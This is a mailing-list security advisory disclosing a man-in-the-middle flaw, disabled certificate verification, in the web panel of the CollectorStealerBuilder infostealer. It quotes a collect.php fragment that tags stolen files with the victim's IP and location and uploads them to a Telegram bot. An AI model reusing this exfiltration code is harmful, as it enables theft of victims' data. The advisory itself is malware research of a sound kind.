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Date: Wed, 19 Jan 2022 22:04:03 -0500
From: malvuln <>
Subject: [FD] CollectorStealerBuilder v2.0.0 Panel / Man-in-the-Middle (MITM)

Discovery / credits: Malvuln - (c) 2022
Original source:

Threat: CollectorStealerBuilder v2.0.0 Panel
Vulnerability: Man-in-the-Middle (MITM)
Description: MITM vector exists as the CURL request used when sending data
to "" has CURLOPT_SSL_VERIFYPEER set to false.
CURLOPT_SSL_VERIFYPEER checks if remote certificate is valid and that you
trust was issued by a CA you trust and it's genuine.
Type: WebUI
MD5: 54530f88c8e4f4371c9418f00c256b1d
MD5: 8c003105229554557c75ec836b4fcf79 (collect.php)
Vuln ID: MVID-2022-0459
Disclosure: 01/19/2022

Vulnerable "collect.php" code snippet.

$desc = "_________________________ \r\n\n🏴 IP: " . $ip . "\n🌐 Country: "
. $country . "\n🏠 City: " . $city . "\n🔧 Build: ". $Build[1] .
"\r\n_________________________ \n\n" . $desc; // Добавляем айпи и город
$url = "" . $token . "/sendDocument";
$document = new CURLFile(realpath($dest_path));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "document" =>
$document, "caption" => $desc]);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type:multipart/form-data"]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$out = curl_exec($ch);

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provided that it is not altered except by reformatting it, and that due
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contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

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